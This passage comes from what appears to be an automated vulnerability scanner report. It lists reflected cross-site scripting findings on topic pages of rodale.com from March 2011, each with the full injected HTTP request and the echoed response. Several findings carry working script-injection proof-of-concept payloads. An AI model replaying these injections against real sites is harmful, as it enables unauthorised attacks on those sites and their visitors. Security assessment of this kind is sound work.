<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica2eca"><a>2e3ab3db315 topica2eca">
...[SNIP]...

2.462. http://www.rodale.com/topic/erectile-dysfunction [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/erectile-dysfunction

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5146"><a>d2f6580c977 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/erectile-dysfunctiona5146"><a>d2f6580c977 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:14 GMT
Date: Thu, 10 Mar 2011 17:12:14 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-erectile-dysfunctiona5146"><a>d2f6580c977 node node-958">
...[SNIP]...

2.463. http://www.rodale.com/topic/erectile-dysfunction [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/erectile-dysfunction

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4333d"><script>alert(1)</script>42df8ac93e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/erectile-dysfunction?4333d"><script>alert(1)</script>42df8ac93e2=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:32 GMT
Date: Thu, 10 Mar 2011 17:11:32 GMT
Content-Length: 30363
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/erectile-dysfunction?4333d"><script>alert(1)</script>42df8ac93e2=1" title="Register" class="moreLink">
...[SNIP]...

2.464. http://www.rodale.com/topic/exercise-and-workout-tips [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/exercise-and-workout-tips

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c89c"><a>50eeb942d62 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4c89c"><a>50eeb942d62/exercise-and-workout-tips HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:41 GMT
Date: Thu, 10 Mar 2011 17:11:41 GMT
Content-Length: 22546
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4c89c"><a>50eeb942d62 topic4c89c">
...[SNIP]...

2.465. http://www.rodale.com/topic/exercise-and-workout-tips [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/exercise-and-workout-tips

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e5c2"><a>50b2a5c155c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/exercise-and-workout-tips4e5c2"><a>50b2a5c155c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:19 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-exercise-and-workout-tips4e5c2"><a>50b2a5c155c node node-958">
...[SNIP]...

2.466. http://www.rodale.com/topic/exercise-and-workout-tips [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/exercise-and-workout-tips

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55f11"><script>alert(1)</script>84b4974944b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/exercise-and-workout-tips?55f11"><script>alert(1)</script>84b4974944b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:38 GMT
Date: Thu, 10 Mar 2011 17:11:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33200

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/exercise-and-workout-tips?55f11"><script>alert(1)</script>84b4974944b=1" title="Register" class="moreLink">
...[SNIP]...

2.467. http://www.rodale.com/topic/eye-health-and-vision [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/eye-health-and-vision

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32b96"><a>485d1a5d8f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic32b96"><a>485d1a5d8f9/eye-health-and-vision HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:40 GMT
Date: Thu, 10 Mar 2011 17:11:40 GMT
Content-Length: 22534
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic32b96"><a>485d1a5d8f9 topic32b96">
...[SNIP]...

2.468. http://www.rodale.com/topic/eye-health-and-vision [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/eye-health-and-vision

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61506"><a>280ba01d9b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/eye-health-and-vision61506"><a>280ba01d9b6 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:16 GMT
Date: Thu, 10 Mar 2011 17:12:16 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-eye-health-and-vision61506"><a>280ba01d9b6 node node-958">
...[SNIP]...

2.469. http://www.rodale.com/topic/eye-health-and-vision [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/eye-health-and-vision

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b373"><script>alert(1)</script>63a744343a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/eye-health-and-vision?8b373"><script>alert(1)</script>63a744343a1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:37 GMT
Date: Thu, 10 Mar 2011 17:11:38 GMT
Content-Length: 31889
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/eye-health-and-vision?8b373"><script>alert(1)</script>63a744343a1=1" title="Register" class="moreLink">
...[SNIP]...

2.470. http://www.rodale.com/topic/factory-farms [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/factory-farms

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e72f"><a>04b092a28fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4e72f"><a>04b092a28fb/factory-farms HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:43 GMT
Date: Thu, 10 Mar 2011 17:11:43 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4e72f"><a>04b092a28fb topic4e72f">
...[SNIP]...

2.471. http://www.rodale.com/topic/factory-farms [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/factory-farms

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1948b"><a>ef23e6dc675 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/factory-farms1948b"><a>ef23e6dc675 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:10 GMT
Date: Thu, 10 Mar 2011 17:12:10 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-factory-farms1948b"><a>ef23e6dc675 node node-958">
...[SNIP]...

2.472. http://www.rodale.com/topic/factory-farms [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/factory-farms

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3d4a"><script>alert(1)</script>d1aa6ab405c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/factory-farms?e3d4a"><script>alert(1)</script>d1aa6ab405c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:41 GMT
Date: Thu, 10 Mar 2011 17:11:41 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/factory-farms?e3d4a"><script>alert(1)</script>d1aa6ab405c=1" title="Register" class="moreLink">
...[SNIP]...

2.473. http://www.rodale.com/topic/fair-trade [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fair-trade

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2abec"><a>d82908dc539 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2abec"><a>d82908dc539/fair-trade HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:43 GMT
Date: Thu, 10 Mar 2011 17:11:44 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2abec"><a>d82908dc539 topic2abec">
...[SNIP]...

2.474. http://www.rodale.com/topic/fair-trade [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fair-trade

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1342b"><a>182a627d16c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fair-trade1342b"><a>182a627d16c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:16 GMT
Date: Thu, 10 Mar 2011 17:12:16 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fair-trade1342b"><a>182a627d16c node node-958">
...[SNIP]...

2.475. http://www.rodale.com/topic/fair-trade [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fair-trade

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9f3d"><script>alert(1)</script>6b0b73cbbf4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fair-trade?a9f3d"><script>alert(1)</script>6b0b73cbbf4=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:41 GMT
Date: Thu, 10 Mar 2011 17:11:41 GMT
Content-Length: 29736
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fair-trade?a9f3d"><script>alert(1)</script>6b0b73cbbf4=1" title="Register" class="moreLink">
...[SNIP]...

2.476. http://www.rodale.com/topic/farmers-markets [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/farmers-markets

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a99d"><a>f121177a060 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5a99d"><a>f121177a060/farmers-markets HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:58 GMT
Date: Thu, 10 Mar 2011 17:11:58 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5a99d"><a>f121177a060 topic5a99d">
...[SNIP]...

2.477. http://www.rodale.com/topic/farmers-markets [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/farmers-markets

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffa43"><a>49bf2bd2680 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/farmers-marketsffa43"><a>49bf2bd2680 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:36 GMT
Date: Thu, 10 Mar 2011 17:12:36 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-farmers-marketsffa43"><a>49bf2bd2680 node node-958">
...[SNIP]...

2.478. http://www.rodale.com/topic/farmers-markets [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/farmers-markets

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f900b"><script>alert(1)</script>a332ab8cc44 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/farmers-markets?f900b"><script>alert(1)</script>a332ab8cc44=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:52 GMT
Date: Thu, 10 Mar 2011 17:11:52 GMT
Content-Length: 30943
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/farmers-markets?f900b"><script>alert(1)</script>a332ab8cc44=1" title="Register" class="moreLink">
...[SNIP]...

2.479. http://www.rodale.com/topic/fast-food [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fast-food

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a15be"><a>bd051203aa4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

